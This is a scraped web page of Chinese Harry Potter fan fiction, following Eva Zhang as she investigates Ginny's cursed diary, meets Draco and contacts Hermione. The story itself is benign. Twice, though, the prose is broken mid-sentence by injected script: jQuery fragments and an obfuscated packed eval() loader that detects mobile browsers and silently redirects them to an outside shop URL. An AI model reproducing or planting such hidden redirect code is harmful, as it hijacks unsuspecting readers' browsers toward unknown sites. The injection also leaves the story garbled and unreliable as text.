{ $(''.inform'').remove(); $(''#content'').append('' 意识地收紧。交出去,可能保护不了金妮,反而可能让她陷入更麻烦的境地,也可能让真正的危险溜走。不交……自己带走研究?这想法让她脊背发凉。这无异于随身携带一个未知的、会吸食人精气的邪物。曼蒂、帕德玛……室友们怎么办? 可是,如果不弄明白这日记到底是什么,它是如何影响金妮的,又怎么找到真正帮助她的方法?爷爷的信里写着“观察”。也许……她可以先小心地“观察”一下?不写,只看。保持距离,绝不回应。她身上有爷爷给的锦囊,有玉佩护身(尽管它这次沉默得可疑),有家里教过的守心静气之法……至少,她比毫无防备的金妮多一些自保的知识。 这是一个糟糕的、风险极高的决定。 Eva清楚地知道。但12岁的年纪,混合着对朋友处境的担忧、对未知魔法强烈的好奇、对自身家学背景的一点倚仗,以及一种“或许我能发现关键线索”的责任感,最终压倒了即刻寻求成人帮助的稳妥。她想,我就看一眼,确认它的运作方式,找到确凿的证据,然后就立刻连证据一起交给教授。这样既能帮到金妮,又能让教授们重视。 带着这种自我说服的、混合了恐惧与决心的复杂心情,Eva深吸一口气,将日记本紧紧夹在自己的课本中间,仿佛这样就能隔绝它的邪气。她站起身,匆匆离开了图书馆,没有走向教授办公室,而是转向了拉文克劳塔楼。 走在回拉文克劳塔楼的路上,她心里想着这本金妮的本子,脚步越来越快。脑子里乱糟糟的:金妮苍白的脸,消失的字迹,本子上浮现的那行字,还有金妮那种既依赖又恐惧的矛盾神情…… 这一切都指向一个结论:这本子有问题,有大问题。它可能在伤害金妮,可能在控制她,甚至可能……和最近的袭击有关? 这个念头让Eva的脚步顿了一下。金妮最近状态这么差,而每次袭击发生前,城堡里都会出现那些奇怪的水渍和土腥味。如果金妮被这本子控制了,做了什么事自己都不知道…… “砰!” 她迎面撞上了一个人,撞得结结实实,怀里的书和本子哗啦啦掉了一地。 “走路不看——”对方恼怒的声音戛然而止。 Eva踉跄着后退两步才站稳,抬头看去——是德拉科·马尔福。 他显然也被撞得不轻,捂着肩膀,苍白的脸上满是惊愕和未消的怒气。但当他看清撞到的人是谁时,那怒气瞬间僵在了脸上,变成一种复杂的、难以形容的表情。 这是他们第二次相撞。 第一次是在万圣节后的走廊里,马尔福怒气冲冲地转身离开时撞上了她。 而这次—— Eva因为刚才的发现和猜测而心神不宁,撞上人时完全没防备。此刻她脸上没有泪雾,却有一种罕见的、真实的慌张。那双总是平静如深潭的黑眼睛此刻睁得很大,瞳孔因为震惊而微微收缩,里面清晰地映出马尔福错愕的脸。她的呼吸有些急促,脸颊因为快步行走和突然的撞击而泛着淡淡的红晕,嘴唇微微张开,像是想说什么又说不出来。 这种慌张太不“Eva Zhang”了。她从来都是稳的,静的,像水底的石子,风雨不惊。但现在,这块石子被什么无形的东西搅动了,表面平静被打破,露出了底下真实的波澜。 马尔福愣在那里,灰蓝色的眼睛死死盯着她。他想说些讥讽的话——比如“拉文克劳连路都不会看吗”或者“急着去图书馆拯救世界?”——但那些话卡在喉咙里,一个字也吐不出来。 因为她的眼睛。那双眼睛里没有平时的距离感,没有那种仿佛在观察标本般的冷静,只有真实的、未加掩饰的慌张。而且……她看起来真的被吓到了,不是被他吓到,是被别的东西。 他的目光下意识地扫过地上散落的物品——几本普通的课本,羊皮纸卷,还有……一本暗红色的、皮质封面的厚本子。 那本子看起来很旧了,封皮的颜色暗沉得不自然,在走廊火把的光线下泛着一种油腻的光泽。马尔福的眉头几不可察地皱了一下。他认得那种皮质——不是普通的羊皮或牛皮,更像是……某种魔法生物的皮。 父亲书房最里层抽屉里,有一本用类似皮质装订的家族账目,记载着些不太光彩的“投资”。父亲警告过他:“这种皮来自东欧森林里一种濒危魔法生物,鞣制工艺已经失传,现在的仿品一眼就能看出差别。” 而地上这本,在走廊摇曳的火把光下,泛着一种真品才有的、幽暗如凝固血液的光泽。 一个拉文克劳二年级生,怎么会有这种东西? Eva蹲下身,手忙脚乱地开始捡东西。她的动作比平时快,带着一种急于掩饰什么的慌乱。她先抓起课本和羊皮纸,最后才去拿那本暗红本子——手指触到封皮时,她明显顿了一下,像是碰到了什么烫手的东西,但还是迅速把它塞进了怀里,用课本牢牢盖住。 “抱歉。”她低声说,声音比平时急促,没有抬头看他。 马尔福张了张嘴。他想问她那本子是哪来的,想问她为什么这么慌张,想问她到底发现了什么。但所有这些话在舌尖转了一圈,最终只变成一声短促的、意义不明的轻哼。 “下次看路。”他听到自己的声音说,语气比预想的要生硬。然后他侧身绕过她,继续往前走,脚步很快,袍角甩得猎猎作响。 Eva抱着书站在原地,听着他的脚步声远去,直到完全消失在走廊尽头。她深吸一口气,努力让心跳平复下来。 刚才……马尔福看到了。他看到了那本子。他会怀疑吗?会去告诉别人吗? 但她现在顾不上这些。她必须尽快把本子处理掉——不是自己留着,那样太危险了。得想办法在不吓到金妮的情况下提醒她,或者……交给教授? 可她没有证据。只有自己的观察和猜测。教授会信吗? Eva咬咬牙,抱着书快步走向拉文克劳塔楼。她需要时间思考,需要想清楚接下来该怎么做。 而走廊的另一端,马尔福在拐角处停下脚步,背靠着冰冷的石墙。 他抬起手,看着自己的指尖——刚才Eva捡东西时,两人的手指差点碰到。他还能感觉到那股从她身上传来的、清冽如雨后竹林的气息,混杂着羊皮纸和旧书的味道。 还有她的眼睛。那双总是平静得让人恼火的眼睛,刚才竟然有那么真实的慌张。 那本暗红色的本子……马尔福的眉头越皱越紧。他父亲卢修斯的书房里也有几本用特殊皮质装订的古老书籍,都是些见不得光的东西。其中一本的皮质和颜色,和刚才那本很像。 张怎么会有一本那样的书?她从哪里弄来的?她在慌什么? 这些问题像藤蔓一样缠上来,勒得他有些烦躁。他甩甩头,想把它们甩开——这不关他的事。张是拉文克劳,是那个总是摆出一副超然姿态的女孩,她的事和他无关。 但那双慌张的眼睛,却像烙印一样,刻在了他脑海里。 该死。 他低声咒骂一句,转身继续往前走,脚步比刚才更快,仿佛要逃离什么。 而在拉文克劳塔楼里,Eva坐在寝室窗边,盯着桌上那本暗红色的本子。 封皮在暮色中泛着幽暗的光。她没有再翻开它,只是静静看着。 金妮,这本子,蛇怪,密室,袭击……所有碎片都在她脑子里旋转,寻找着连接的方式。 她需要答案。但这一次,答案可能比她想象的更危险。 窗外的天色完全暗下来了。雪又开始飘落,细密的雪花在黑暗中无声舞蹈。 圣诞节假期还有几天。但Eva知道,平静的假期,从她捡起这本子的那一刻起,就已经结束了。 45. 假期的暗涌 雪下得更大了。 从拉文克劳塔楼望出去,城堡和黑湖都淹没在一片茫茫白色里。天空是铅灰色的,低低地压着,雪花像撕碎的云絮,慢悠悠地飘下来,一层又一层地覆盖着一切。 Eva坐在公共休息室窗边的老位置,膝盖上摊着那本暗红色的日记本。她没有翻开,只是盯着皮革封面看。封皮在晨光下泛着幽暗的光泽,像一块放久了的血痂。摸上去凉凉的,不是普通的凉,是一种能钻进骨头缝里的寒意。 她想起昨天撞见金妮时,女孩苍白的脸和发抖的手。想起那本子自己浮现出来的字迹:“你在看什么?” 这绝对不是普通的日记本。它会说话,会吸收人的精气。Eva的手指无意识地摸着腕上的玉佩。温润的,平稳的。这本子虽然诡异,但玉佩没有预警——说明它携带的不是伏地魔那种纯粹的黑暗力量。但这不代表它不危险。 她想起爷爷的话:“丽华啊,世间的邪祟,不止一种。有的像山火,烧得轰轰烈烈;有的像冬雾,慢慢渗进骨头里。玉佩只能防那最黑的、要命的恶。可有些东西,它不直接杀人,它慢慢吸你的精气,磨你的神志,让你自己把自己耗干。这种邪物,玉佩可能不响,但人要是被它缠上,比遇上厉鬼还难脱身。” 金妮现在就是这样——被这本日记慢慢吸干精气,神志越来越恍惚。 但是怎么处理?这东西太邪门,类似东方概念里的“□□邪物”…… 还是先问问爷爷。 Eva站起身,回到寝室,从行李箱里拿出信纸和羽毛笔。她写得很简洁,但把关键点都说清楚了: “爷爷,我在学校捡到一本很奇怪的日记。它会自己写字,会回应人,好像在吸收拿着它的人的精气神。一个一年级女孩因为它变得很虚弱。玉佩没有预警。这东西像您说过的‘寄生魂’或‘器灵’吗?该怎么处理?用普通的火烧、水浸好像都没用。是否需要特定的符咒或材料?我可以让猫头鹰带一些过来。急。” 她把信用细绳系好,走到窗边。素雪正在窗台上的栖木上梳理羽毛,琥珀色的眼睛在雪光映照下格外明亮。 “素雪,这封信很重要,尽快。”Eva把信绑在雪鸮的腿上,轻轻摸了摸它的羽毛。 素雪低低地叫了一声,展开翅膀,像一道白色的影子冲进漫天飞雪中,很快消失在灰蒙蒙的天空里。 送走信后,Eva心里稍微安定了一些。爷爷见多识广,肯定知道怎么处理这种东西。在回信到来之前,她得小心保管这本日记,不让它再害人。 “Eva!该去吃晚饭了!”曼蒂的声音从旋转楼梯上传来。 Eva抬起头,看见曼蒂和帕德玛已经换好了衣服,站在楼梯口等她。 “圣诞晚宴!”曼蒂的眼睛亮晶晶的,“听说今年有特制的圣诞布丁,里面藏了好多金币!” Eva合上笔记本——不是日记本,是她自己的魔药课笔记本——把那本暗红色的日记本小心地放回书包内层,拉好拉链。她站起身,跟着朋友们走出公共休息室。 圣诞晚宴在礼堂举行。 当Eva和朋友们走进礼堂时,被眼前的景象震住了。巨大的冷杉树矗立在中央,上面挂满了会发光的小仙子和闪烁的星星。天花板上飘着会唱歌的魔法雪花,缓缓旋转下落,在落到长桌前就消散成微光。四条长桌上摆满了丰盛的食物:烤得金黄的火鸡、堆成小山的蜜汁火腿、各种做法的土豆和蔬菜,还有成排的南瓜馅饼和圣诞布丁。 “哇……”曼蒂张大了嘴。 她们在拉文克劳长桌找到位置坐下。Eva小口吃着盘子里的烤火鸡。肉质鲜嫩,肉汁浓郁,配上烤土豆和蔓越莓酱,味道好极了。但她吃得有些心不在焉——脑子里还在想着那本日记的事。 还有哈利。 她的目光扫过格兰芬多长桌——哈利和罗恩坐在那里。周围的节日喧闹仿佛在他们身边自动减弱了。 哈利没有碰面前丰盛的食物,只是用叉子无意识地将烤土豆边缘碾成泥状,动作缓慢而专注。礼堂明亮的烛光落在他额前,那道闪电形疤痕比平时更加清晰。 就在这时,隔壁的迪安·托马斯大笑着转身,胳膊肘碰倒了南瓜汁。橙黄的液体洒了一桌。 哈利的反应很快——或者说,太快了。他几乎在杯子倾倒的瞬间就绷直了背脊,握叉的手停在半空。他没有抬头,但Eva看见他下颌线收紧了一瞬,然后强迫自己放松,继续盯着盘子里那片被碾平的土豆泥。 就在这时,哈利抬起头,视线正好与Eva对上。 那双绿眼睛里充满了疲惫,还有一丝几乎察觉不到的询问——像是在问:“你也相信那些传言吗?” Eva没有移开视线,只是很轻地摇了摇头,幅度小得几乎看不见。 哈利似乎看懂了。他紧绷的肩膀稍微放松了一点,嘴角动了动,像是想挤出一个笑,但最终没有成功。他低下头,继续戳着盘子里的食物。 这个短暂的交流只有几秒钟,却被另一个人捕捉到了。 斯莱特林长桌那边,德拉科·马尔福正慢条斯理地切着烤火鸡。他穿着一身崭新的墨绿色长袍,袖口镶着银线,淡金色的头发梳得一丝不苟。克拉布和高尔在他两边狼吞虎咽,潘西·帕金森第三次试图跟他分享她收到的香水礼物时,他不耐烦地摆了摆手。 他的注意力完全在别处。 从Eva走进礼堂开始,马尔福的余光就没离开过她。前天下午走廊里那一撞的画面反复闪现——她脸上的慌张,那本从书包里掉出来的暗红色日记本。 那本子的皮质不对。马尔福认得出那种光泽——父亲书房深处那些“特殊收藏品”才有的质感。一个拉文克劳二年级生,怎么会有这种东西? 更让他在意的是她当时的反应。那种罕见的、真实的慌张,不是被他吓到,更像是……被什么东西暴露了的惊慌。 现在看着她平静地坐在拉文克劳长桌边,小口吃着布丁,和秋·张低声说话,一切都显得那么正常。太正常了。 然后他看见了——哈利·波特抬起头,与她对视的那几秒钟。 德拉科握叉子的手不自觉地收紧。波特看她干什么?她又在看波特干什么?那种无声的交流……他们之间有什么秘密? 还有那盒该死的蜂蜜公爵巧克力。他特意选了最新款的神奇动物系列,包装是最贵的深绿色烫银纸。可她似乎根本没打开过,至少他从没见她拿出来。 一股烦躁涌上来。他猛地叉起一大块火鸡肉塞进嘴里,嚼得用力。 当他的目光又一次不受控制地扫过去时,毫无预警地——对上了她抬起的视线。 德拉科整个人僵住了——他甚至没来得及在他惯常的、讥诮的假面切换完成之前移开目光。那双黑眼睛就那样平静地看了过来,没有惊讶,没有探究,甚至没有他预想中任何形式的情绪波澜,只是极其短暂地停留,然后便自然地滑开,仿佛他真的只是她视野里一件无关紧要的陈设,紧接着就继续侧头和秋·张讨论盘子里的布丁了。 一股热血“轰”地冲上头顶,耳朵尖更是烧得发烫。德拉科猛地低下头,近乎凶狠地用叉子切割着盘子里早已凉透、变得有些干柴的火鸡肉,银制餐具与瓷盘摩擦发出细微但刺耳的声响。“该死的……!” 他在心里恶狠狠地咒骂,却不知道具体在骂什么。是骂自己反应迟钝?还是骂她那副永远无动于衷的样子?抑或是骂这让他显得像个傻瓜的尴尬瞬间? 最让他恼怒的是,他意识到自己刚才的样子一定蠢透了——像个被抓包在干坏事的一年级生。这简直……太不马尔福了。为了掩饰,他挺直背脊,抬起下巴,试图重新挂上那副倨傲的神情,但耳根残留的热度却顽固地提醒着刚才发生的、微不足道却让他心烦意乱的“失败”。 潘西在旁边说了句什么,大概是问他要不要布丁。德拉科头也不抬地说了句“不要”,声音比预想的要生硬。 晚餐后回到塔楼,公共休息室的暖意和喧闹暂时驱散了礼堂里的凝重。Eva坐在壁炉边,听着曼蒂和帕德玛争论哪种圣诞布丁馅料更好吃,手指却无意识地摩挲着书包侧面——那本日记就在里面,冰凉的存在感隔着布料传来。 金妮苍白的脸在她眼前闪过。还有日记本上那句“自由”。 她突然站起身。 “我有点累了,想去三楼那间旧教室待会儿,”她对朋友们说,“上学期末我和曼蒂在那里练习过魔咒,很安静,我想整理点笔记。” “才九点!”曼蒂惊讶地抬头,“而且是平安夜哎!” 佩内洛·克里瓦特从棋盘前抬起头:“一个人?Eva,你知道规定——” 佩内洛犹豫了一下,看了看窗外飘落的大雪,又看了看Eva坚持的表情:“……好吧。一小时后我去找你。记住,不要离开三楼那一片。” “谢谢,佩内洛。” Eva独自走向三楼。走廊里空荡荡的,留校的学生大多待在公共休息室。她的脚步很轻,每一步都踩在石板的中央,避免发出回响。经过拐角时,她会停下来倾听几秒,确认没有其他脚步声。 那本日记太过诡异,她不能让任何人知道她在调查它。 推开那间废弃教室的门时,灰尘在从高窗透进的微光中飞舞。教室里还是老样子——黑板上有没擦干净的粉笔字痕迹,桌椅歪歪扭扭地堆在墙角,一个破旧的天文模型倒在讲台边。 她找了张还算完好的桌子,用清理咒扫去灰尘,然后坐了下来。 从书包里拿出那本暗红色的日记本时,Eva的手指顿了顿。她先闭上眼睛,做了三次深长的呼吸,让体内那股平和的“炁”缓缓运转一周。心神沉淀后,她才翻开日记本的封面。 扉页是空白的。 再翻一页,还是空白。 她继续翻,一页一页,直到翻到大概三分之一的地方,纸页上开始出现淡淡的痕迹——像写过字又被擦掉,但擦得不干净,留下模糊的阴影。 Eva盯着那些阴影看。慢慢地,阴影开始凝聚,变成工整的花体字: “你回来了。” 她的呼吸微微一滞。它记得她。 她没有立刻回应,而是拿起羽毛笔,蘸了墨水,在纸上写下第一个问题: “你是谁?” 字迹在纸上停留了几秒钟,然后开始慢慢淡去,像被纸页吸收了一样。紧接着,新的字迹从下面浮现出来: “一个朋友。一个能理解你的人。” 典型的引诱话术。Eva继续写: “你为什么在这里?” 这次日记本沉默的时间长了些。然后: “等待。分享。告诉我你的想法,你的秘密。作为回报,我也告诉你秘密。” “比如?” “密室的秘密。继承人的秘密。霍格沃茨古老的秘密。” 诱惑越来越明显了。Eva想起爷爷的叮嘱:邪物惑人,先装朋友,再套秘密,最后趁虚而入。不能顺着它的节奏走。 她换了种方式: “你在伤害那个女孩。她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980661|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在变弱。” 日记本上的字迹顿了一下,然后: “她在分享。自愿的分享。” “她看起来不自愿。” “每个人都有秘密需要倾诉。我只是倾听。” 狡猾的辩解。Eva决定试探更深一层: “我们的传统里,有关于你这类存在的记载。” 这次日记本的反应明显不同。字迹浮现得更快: “你们那?什么传统?” “足够古老的传承。”Eva写得不疾不徐,“见过许多事,也记录了许多事。寄生于器物、靠吸食生人精气神维持的灵体,在我们那里有专门的名字和应对方法。” 她停下来,观察纸页。日记本沉默了,但纸面似乎微微颤动了一下。 “听起来很……特别。”它最终回应,字迹显得更加工整,几乎像是在刻意控制笔触,“能告诉我更多吗?” “不能。”Eva写得干脆,“除非你先告诉我:你想从霍格沃茨得到什么?” 这次沉默持续了很久。久到Eva以为它不会回答了。 然后,新的字迹缓缓浮现,每个字母都写得极其清晰: “自由。” Eva盯着这个词。自由?一本日记想要自由?这意味着它确实是被困在某种形态里的灵体,或者…… 她继续写:“怎么给你自由?” “找到我的另一半。完整的我才能自由。” 另一半?Eva的眉头皱了起来。这本日记难道只是某个更大存在的一部分? 就在她写下最后一个问题时,笔尖与纸页接触的地方,传来一阵极其细微却无法忽视的凉意。那感觉并非物理上的寒冷,更像是一缕无形的、滑腻的丝线,顺着笔杆悄然向上攀爬,试图触及她握着笔的手指。 更让Eva心头一凛的是,她感到自己体内那股平稳流转的“炁”,在接触到这股凉意的瞬间,最表层的、用于维持专注的那一丝循环,出现了极其轻微的滞涩和流失感——仿佛被什么柔和但贪婪的东西,轻轻地吮吸了一口。 腕间的玉佩依旧温润,没有预警黑暗力量的滚烫。但这正是问题所在:这不是猛烈的攻击,而是一种隐蔽的、诱导性的侵蚀,目标似乎是她集中精神时自然外溢的生命力与注意力。 Eva立刻警醒,果断放下羽毛笔,“啪”地一声合上日记本。那股滑腻的凉意和空乏的抽离感戛然而止。她深呼吸,让体内的“炁”加速但有序地运转一周,那丝异样的滞涩感才如同退潮般缓缓消散。 太危险了。即使只是简单的对话,它也在试图渗透。 她将日记本收进书包,决定今天就到这里。该回塔楼了,佩内洛很快就会来找她。 就在她收拾东西时,教室门突然被轻轻推开了。 Eva的心跳漏了一拍。她迅速转身,手已经伸向袍子里的魔杖—— 是佩内洛·克里瓦特。 “时间到了,Eva。”拉文克劳女级长站在门口,没有立刻进来。她的目光先是快速扫过整个空荡、昏暗的教室,确认没有异常,然后才落在Eva身上,表情是惯常的冷静,但眼底带着一丝清晰的审视和关切。“你在做什么?” “整理一些上学期的魔咒课笔记,这里比较安静,思路能更清晰。”Eva让自己的声音保持平稳,同时将面前摊开的《初级变形术指南》和旁边的羊皮纸稍微推向前,这是她提前准备好的“道具”。 佩内洛走了进来,脚步声在寂静的教室里回响。她看了看Eva桌上的普通文具和课本,又抬眼看了看高高的、积着灰的窗户。“这里太冷了,而且不安全,Eva。”她的语气温和,但带着级长特有的、不容置疑的坚定,“如果你想找一个安静的地方学习,公共休息室靠西的窗台角落也很不错,或者可以申请一间小组学习室。现在不是独自探索城堡偏僻角落的时候,尤其是……”她顿了顿,没有说完,但Eva明白她未尽的话语里包含了“密室”、“袭击”和“宵禁规定”。 “我明白,佩内洛。只是觉得这里离塔楼近,就过来了。”Eva适时地露出一点歉意的表情,开始收拾东西。 “下次不要这样了。”佩内洛点点头,语气缓和了些,但态度依然明确,“走吧,我陪你回塔楼。记住,规定是为了每个人的安全。” Eva跟着佩内洛走出教室。在关门前的最后一刻,她回头看了一眼那张桌子。 一切如常。但书包里那本暗红色的日记本,此刻却显得格外沉重。 回到拉文克劳塔楼,公共休息室里依然热闹。壁炉前的巫师棋比赛进行到了高潮,几个学生在为一步棋争论不休。 Eva找了个角落坐下,摊开《初级变形术指南》,但她的目光没有聚焦在书页上。 日记本说它在寻找“另一半”。这意味着什么?难道还有另一本类似的日记?还是说,这本日记本身是不完整的? “自由”——这个词在她脑海里回响。什么样的存在会被困在一本日记里,需要寻找另一半才能获得自由? 她想起爷爷信里可能会提到的内容。希望素雪能尽快带回回信。 窗外的雪还在下,平安夜的钟声从远处隐约传来。城堡沉浸在节日的宁静中,但Eva知道,这份宁静之下,暗涌正在积聚力量。 而她现在掌握着其中一道关键的线索——一本会说话的、渴望自由的日记,一个越来越虚弱的女孩,还有那句令人不安的“另一半”。 这个圣诞节假期,注定不会平静。 46. 医嘱与联手 圣诞节之后的第三天,雪停了。 天空还是灰蒙蒙的,但云层裂开几道缝,漏下些稀薄的光。Eva站在拉文克劳塔楼的窗前,看着外面白茫茫的世界。庭院里几个留校的高年级学生在堆雪人,笑声远远传来,被厚厚的雪吸掉了大半,听起来闷闷的。 这三天简直是煎熬的等待。每一天都度日如年。尤其是有天半夜醒来,她发现自己竟站在书包旁,手已经伸向那本日记——虽然只差一点就碰到,虽然很快就清醒过来,但那瞬间的恍惚让她心惊。那东西在试图影响她,即便隔着书包,即便只有一次短暂的成功,也足以证明它的危险在增长。 爷爷的回信终于到了。 信很短,字迹苍劲有力,用的是毛笔和墨,写在宣纸上,折得整整齐齐。 “丽华: 信已阅。你所述之物,非器,乃‘念’。念既种下,器可离,根难除。 玉佩不鸣,因其非外邪,乃内生之隙。心若有隙,湿气自渗。 封之为上策,铁器棉衬,置阳燥通风处,勿近人息。 然封器易,拔根难。根深者,需雷霆手段,或寻其本。你身处异域,前者不便,后者如雾里寻藤——所见为枝,其根深藏别处。 观那女孩,若离器后神思愈恍,行止悖常,便是根深之证。亦需留意,她之行止,是否与周遭异状隐有关联。 记住:稳不在静,在看清脚下。雾里行路,慢即是快。 守心。观势。勿独扛。 爷爷字” Eva把信仔细折好,收进贴身的衣袋。宣纸很薄,带着墨香和爷爷书房里那种淡淡的草药味,此刻却重若千钧。 “非器,乃‘念’。” “器可离,根难除。” 这两句话在她脑海里反复回响。所以金妮即使不在日记本身边,也依然被影响着?那个“根”已经在她心里扎下了?这也解释了她这几天同样受到影响的原因。 “雾里寻藤——所见为枝,其根深藏别处。” 日记本只是藤蔓的一枝。那么,滋养它的根是什么?密室?蛇怪?还是别的什么更古老、更黑暗的东西? 爸爸“求稳”、“不惹麻烦”的告诫还在耳边。但爷爷也说:“稳不在静,在看清脚下。” 她得看清。为了金妮,也为了这座城堡里所有被阴影笼罩的人。 先做能做的。 她翻遍了自己的行李。爷爷给的紫檀木笔盒太小,而且木质可能不够“隔绝”。黄铜天平砝码的盒子是金属的,但更小。最后,她的目光落在去年装月饼的一个铁皮盒子上——妈妈寄来的,盒子是红色的,上面印着金色的月亮和玉兔,吃完月饼后她洗干净留了下来,本来想装些小零碎。 铁盒大小刚好,密封性不错。她从一件没穿过的纯棉白衬衫上剪下一块内衬布料,仔细垫在盒子底部和四周。然后,她戴上龙皮手套(魔药课要求配备的),小心翼翼地将那本暗红色的日记本从书包夹层里取出来。 日记本摸上去还是那么冰凉。她没有翻开,直接将它放入铺好棉布的铁盒中,盖上盖子,用力按紧。接着,她用魔杖在盒盖接缝处点了两下:“速速禁锢。防水防潮。”一道细微的银光闪过,盒盖被暂时加固了。 做完这些,她把铁盒放进衣柜最底层,用几件厚衣服盖住。阳光充足、通风干燥的地方暂时不好找,先藏起来再说。 衣柜门关上的刹那,她似乎听见盒子里传来一声极轻的、仿佛指甲刮过内壁的嘶啦声。 她僵了一瞬,补了个静音咒,防止室友察觉到异常。深吸口气,转身离开。 是不是错觉已经不重要了。她需要弄清楚这根“藤蔓”到底连着什么,而那个“根”又埋在哪里。 她需要帮助。需要一个能在暗处商量、又能看清全局的人。 赫敏。 Eva想起那晚走廊里蓬乱的棕发和压抑的呜咽。赫敏还在医疗翼,但以她的坚韧和智慧,哪怕在病床上,也一定在观察,在思考。 直接去探望行不通,庞弗雷夫人看得紧。写信太冒险,猫头鹰往来会被看见。 她需要一个自然的理由。 看着窗外未化的积雪,Eva有了主意。爷爷说“雾里行路,慢即是快”,现在,她得找准第一步该踩在哪里。 几分钟后,她穿着单薄的晨衣(特意没披斗篷),独自来到拉文克劳塔楼外一段背阴的、积雪未扫的走廊。冷风飕飕地灌进来,她打了个寒颤,但没有立刻离开。她在那段冰冷的石廊上来回走了几趟,让寒意彻底浸透衣衫,直到手指发僵,鼻尖通红,控制不住地轻轻咳嗽起来。 这还不够。回到温暖的塔楼后,她没去烤火,而是用冷水洗了脸,然后坐在稍微通风的窗边,继续“整理”她那本总是随身携带的、记录异常现象的笔记本。她任由那股刻意招来的寒气在体内盘桓,没有像平时那样立刻用“炁”去驱散。 到了下午,效果开始显现。她感到喉咙发痒,头有些昏沉,脸颊也微微发烫——不全是装的,冷热交替加上心神不宁,真的让她有些着凉了。 时机刚好。 她找到佩内洛·克里瓦特,声音带着点鼻音:“佩内洛,我好像有点感冒,头有点晕,想去医疗翼拿点提神剂。” 佩内洛正在看书,闻言抬起头,仔细看了看Eva发红的脸颊和略显无精打采的眼睛。“确实脸色不太好。快去吧,我陪你去?” “不用了,就几步路,我自己去就行。”Eva摇摇头,“拿点药就回来。” “那好,快去快回。外面冷,把斗篷裹紧。” Eva穿上厚斗篷,但里面的不适感是真实的。她走向医疗翼,这次走的是正门。推开厚重的木门,熟悉的消毒水和魔药气味扑面而来。 庞弗雷夫人正在为一个高年级学生包扎手上的伤口(看起来像是被什么植物划伤了),看见Eva进来,皱了皱眉:“怎么了,孩子?” “夫人,我好像感冒了,头有点晕,喉咙也不舒服。”Eva尽量让声音听起来有些沙哑,轻轻咳嗽了两声。 庞弗雷夫人示意那个高年级学生稍等,快步走过来,用手背试了试Eva的额头,又让她张嘴看了看喉咙。“有点着凉,扁桃体有点红。”她利落地判断,“不算严重。在这儿坐着等一会儿,我给你配点药。” 她指指靠墙的一排椅子,然后转身去药柜取药。医疗翼里很安静,只有那个高年级学生偶尔抽气的声音。Eva的目光状似无意地扫过里面那些拉着帘子的床位。最里面靠窗的那张……帘子下方,露出一角熟悉的、蓬乱的棕色头发,还有一只正在翻阅书本的手——是赫敏。 她真的在这里,而且看起来已经能坐起来看书了,恢复得不错。 庞弗雷夫人很快配好了一小瓶冒着热气的紫色药水。“喝了这个,回去睡一觉,发发汗。如果明天还不好,再来找我。” “谢谢您,夫人。”Eva接过药瓶,小口喝着。药水很苦,带着薄荷的刺激感。她喝得很慢,拖延着时间,同时用余光观察。 赫敏就在最里面靠窗的床位,帘子半掩。她能看见赫敏靠在床头,头发依然蓬乱,脸色有些苍白,但眼睛正看着门口方向,眼神里有关切和询问——赫敏也看到她了。 庞弗雷夫人转身去整理药柜,暂时背对她们。 机会只有几秒。 Eva当机立断,她没有试图靠近或说话(那太明显)。她迅速放下药瓶,从随身携带的用于装糖果和零碎羊皮纸的小布包里,抽出一张早就准备好的、折成指甲盖大小的正方形纸条,和一枚看起来普通无奇的青铜色回形针(麻瓜文具,在魔法世界不常见,但可作为无害小物件)。 她假装咳嗽,用手帕掩嘴,快步走向医疗翼内部的洗手间(这个动作合理)。经过赫敏床边时,她的手“无意间”在帘子边缘拂过,那个小纸团和回形针便悄无声息地落在了赫敏盖着的被子上,恰好被毯子褶皱遮住大半。 整个过程不到三秒。她甚至没有看赫敏一眼,径直走进了洗手间。 在洗手间里,她迅速用冷水拍了拍发烫的脸(真病也有好处),深吸几口气。纸条上只有一行用最小号字体写的话,且用了她们曾在魔咒练习小组讨论过的凯撒密码(字母位移三位): “L glb kdwhc wkh gldub. Lw hdwv Olqqb''v olih. Wkh prqvwhu lv d edvlovn. Qhhg khos.” (原文:“I found the diary. It eats Ginny’s life. The monster is a basilisk. Need help.”) 回形针是信物——赫敏曾抱怨过魔法世界没有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980662|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种“方便的小玩意儿”,Eva送过她一盒。 关键在于“如何回复”。Eva不可能频繁“生病”来医疗翼。赫敏也无法外出。她们需要一种即使赫敏在医疗翼,也能安全传递信息的方法。 Eva赌的是赫敏的智慧和她在医疗翼能找到的资源。 她走出洗手间,庞弗雷夫人已经整理好东西,正看向她。“感觉怎么样?” “好多了,夫人。我想回去躺会儿。” Eva脸色依旧不太好,这倒不全是装的。 “回去吧,好好休息。”庞弗雷夫人点头。 Eva离开医疗翼。她的任务完成了第一步:将信息和沟通的球,抛给了赫敏。 当天晚上,Eva在拉文克劳公共休息室收到了意外的“回信”。 不是猫头鹰,而是一个陌生的、看起来有点迷糊的家养小精灵,端着一个小小的银托盘,上面放着一杯据说能“安神助眠”的热牛奶(庞弗雷夫人有时会为生病学生提供额外的关怀)。 “张小姐,这是庞弗雷夫人让多比送来的。”小精灵眨着大眼睛,声音尖细。 Eva心中一震……她认出了这个叫多比的家养小精灵,以前似乎在厨房附近见过,而且听赫敏提起过,这个精灵对哈利有着古怪而执着的忠诚。赫敏一定是利用了这一点,才说服他冒险传递消息。 多比放下托盘,深深鞠了一躬,啪的一声消失了。 